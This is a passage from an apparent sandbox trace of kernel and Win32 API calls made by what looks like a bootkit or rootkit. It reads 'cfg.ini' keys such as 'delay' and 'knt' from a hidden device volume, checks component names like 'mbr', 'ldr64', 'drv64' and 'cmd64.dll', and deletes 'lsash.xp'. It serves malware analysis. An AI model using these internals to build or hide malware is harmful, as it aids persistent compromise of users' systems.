AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.260] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.260] IdePortDispatch () returned 0x103 [0128.260] KeWaitForMutexObject () returned 0x0 [0128.261] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.261] KeLeaveCriticalRegion () [0128.261] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.261] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.261] KeEnterCriticalRegion () [0128.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.261] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003459000 [0128.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.261] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.261] IdePortDispatch () returned 0x103 [0128.261] KeWaitForMutexObject () returned 0x0 [0128.261] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.261] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.261] IdePortDispatch () returned 0x103 [0128.261] KeWaitForMutexObject () returned 0x0 [0128.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.262] KeLeaveCriticalRegion () [0128.262] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.262] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.262] KeEnterCriticalRegion () [0128.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.262] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.262] KeLeaveCriticalRegion () [0128.262] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.262] KeEnterCriticalRegion () [0128.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.262] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.262] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.263] KeLeaveCriticalRegion () [0128.263] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.263] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.263] KeEnterCriticalRegion () [0128.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.263] ExFreePoolWithTag (P=0xfffffa80038cec40, Tag=0x0) [0128.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.263] KeLeaveCriticalRegion () [0128.263] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.263] ReleaseMutex (hMutex=0xf0) returned 1 [0128.263] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.263] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.263] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.263] KeEnterCriticalRegion () [0128.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.263] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.263] IdePortDispatch () returned 0x103 [0128.263] KeWaitForMutexObject () returned 0x0 [0128.263] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.263] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.263] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.263] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.263] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.263] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe900 [0128.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.264] KeLeaveCriticalRegion () [0128.264] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.264] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.264] KeEnterCriticalRegion () [0128.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.264] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.264] KeLeaveCriticalRegion () [0128.264] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.264] KeEnterCriticalRegion () [0128.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.264] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.264] IdePortDispatch () returned 0x103 [0128.264] KeWaitForMutexObject () returned 0x0 [0128.264] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.264] KeLeaveCriticalRegion () [0128.264] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.264] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.264] KeEnterCriticalRegion () [0128.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.265] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345a000 [0128.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.265] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.265] IdePortDispatch () returned 0x103 [0128.265] KeWaitForMutexObject () returned 0x0 [0128.265] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.265] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.265] IdePortDispatch () returned 0x103 [0128.265] KeWaitForMutexObject () returned 0x0 [0128.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.265] KeLeaveCriticalRegion () [0128.265] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.266] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.266] KeEnterCriticalRegion () [0128.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.266] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.266] KeLeaveCriticalRegion () [0128.266] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.266] KeEnterCriticalRegion () [0128.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.266] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.266] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac49c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.266] KeLeaveCriticalRegion () [0128.266] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.266] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.266] KeEnterCriticalRegion () [0128.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.266] ExFreePoolWithTag (P=0xfffffa8003bfe900, Tag=0x0) [0128.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.266] KeLeaveCriticalRegion () [0128.266] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.267] ReleaseMutex (hMutex=0xf0) returned 1 [0128.267] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.267] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.267] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.267] KeEnterCriticalRegion () [0128.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.267] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.267] IdePortDispatch () returned 0x103 [0128.267] KeWaitForMutexObject () returned 0x0 [0128.267] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.267] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.267] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.267] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.267] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.267] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adcac0 [0128.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.267] KeLeaveCriticalRegion () [0128.267] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.267] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.267] KeEnterCriticalRegion () [0128.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.267] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.267] KeLeaveCriticalRegion () [0128.268] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.268] KeEnterCriticalRegion () [0128.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.268] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.268] IdePortDispatch () returned 0x103 [0128.268] KeWaitForMutexObject () returned 0x0 [0128.268] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.268] KeLeaveCriticalRegion () [0128.268] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.268] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.268] KeEnterCriticalRegion () [0128.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.268] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345b000 [0128.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.268] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.268] IdePortDispatch () returned 0x103 [0128.268] KeWaitForMutexObject () returned 0x0 [0128.269] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.269] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.269] IdePortDispatch () returned 0x103 [0128.269] KeWaitForMutexObject () returned 0x0 [0128.269] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.269] KeLeaveCriticalRegion () [0128.269] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.270] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.270] KeEnterCriticalRegion () [0128.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.270] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.270] KeLeaveCriticalRegion () [0128.270] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.270] KeEnterCriticalRegion () [0128.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.270] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.270] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac9970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.270] KeLeaveCriticalRegion () [0128.270] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.270] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.270] KeEnterCriticalRegion () [0128.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.270] ExFreePoolWithTag (P=0xfffffa8002adcac0, Tag=0x0) [0128.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.270] KeLeaveCriticalRegion () [0128.270] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.270] ReleaseMutex (hMutex=0xf0) returned 1 [0128.270] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.270] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.270] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.270] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.270] KeEnterCriticalRegion () [0128.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.271] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.271] IdePortDispatch () returned 0x103 [0128.271] KeWaitForMutexObject () returned 0x0 [0128.271] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.271] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.271] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.271] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.271] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.271] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.271] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.271] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.271] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.271] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.271] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.271] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.271] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.271] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.271] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.271] KeLeaveCriticalRegion () [0128.271] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.271] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.271] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.271] KeEnterCriticalRegion () [0128.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.272] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.272] IdePortDispatch () returned 0x103 [0128.272] KeWaitForMutexObject () returned 0x0 [0128.272] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.272] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.272] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.272] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.272] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.272] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.272] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.272] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.272] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.272] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.272] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.272] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.272] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.272] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.272] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.272] KeLeaveCriticalRegion () [0128.272] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.272] ReleaseMutex (hMutex=0x100) returned 1 [0128.272] Sleep (dwMilliseconds=0x2bf20) [0128.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fa7e270, dwHighDateTime=0x1d24fa4)) [0128.281] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.281] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.282] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, 